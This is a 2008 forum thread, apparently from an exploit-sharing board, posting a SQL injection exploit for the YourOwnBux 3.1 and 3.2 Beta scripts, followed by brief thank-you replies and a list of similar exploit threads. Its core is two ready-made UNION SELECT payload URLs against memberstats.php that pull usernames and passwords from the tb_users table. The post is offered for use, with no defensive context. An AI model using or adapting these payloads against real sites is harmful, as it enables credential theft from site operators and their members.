YourOwnBux 3.1, 3.2 Beta Remote SQL Injection Vulnerability

**Armageddon** · 08-28-2008

Code:

YourOwnBux 3.1, 3.2 Beta Remote SQL Injection Vulnerability

Author: ~!Dok_tOR!~
Date found: 28.08.08
Product: YourOwnBux
Version: 3.1, 3.2
Price: $39.99
DEMO: yourownbux.com/demos/
Vulnerability Class: SQL Injection
Condition: magic_quotes_gpc = Off

3.2 Beta version

Exploit:

http://localhost/[installdir]/memberstats.php?user='+union+select+1,2,3,4,5,6,7,8,concat_ws(0x3a,username,password),10,11,12,13,14,15,16,17,18,19+from+tb_users/*

3.1 version

Exploit:

http://localhost/[installdir]/memberstats.php?user='+union+select+1,2,3,4,5,6,7,8,concat_ws(0x3a,username,password),10,11,12,13,14,15,16,17,18+from+tb_users/*

kushlove · 09-10-2008

not done mr senior

devilhackerz · 09-20-2008

thank you so much

bioibrahim · 10-01-2008

thank you so much

xneoz · 10-25-2008

thank you so much

Thread Tools
Show Printable Version Email this Page
Display Modes
Linear Mode Switch to Hybrid Mode Switch to Threaded Mode

Similar Threads
Thread	Thread Starter	Forum	Replies	Last Post
Mambo Component mambads <= 1.0 RC1 Beta SQL Injection Vulnerability	Armageddon	Exploit Codes	0	08-19-2008 02:09 PM
I-Pos Internet Pay Online Store <= 1.3 Beta SQL Injection Vulnerability	Armageddon	Exploit Codes	0	08-19-2008 12:34 PM
Facebook Newsroom CMS 0.5.0 Beta 1 Remote File Inclusion Vulnerability	Armageddon	Exploit Codes	0	08-13-2008 11:52 AM
Remote SQL Injection Vulnerability	Wh!5t\|eR	Exploit Codes	0	08-03-2008 08:22 AM
I-Pos Internet Pay Online Store <= 1.3 Beta SQL Injection Vulnerability	Armageddon	Exploit Codes	0	06-02-2008 12:35 PM

09-10-2008	#2 (permalink)
kushlove Member Join Date: May 2008 Posts: 68 Thanks: 28 Thanked 3 Times in 2 Posts Rep Power: 28	not done mr senior

09-20-2008	#3 (permalink)
devilhackerz Junior Member Join Date: Sep 2008 Posts: 45 Thanks: 90 Thanked 0 Times in 0 Posts Rep Power: 13	thank you so much

10-01-2008	#4 (permalink)
bioibrahim Leecher Join Date: Oct 2008 Posts: 14 Thanks: 1 Thanked 0 Times in 0 Posts Rep Power: 12	thank you so much

10-25-2008	#5 (permalink)
xneoz Leecher Join Date: Oct 2008 Posts: 5 Thanks: 0 Thanked 0 Times in 0 Posts Rep Power: 0	thank you so much

Currently Active Users Viewing This Thread: 1 (0 members and 1 guests)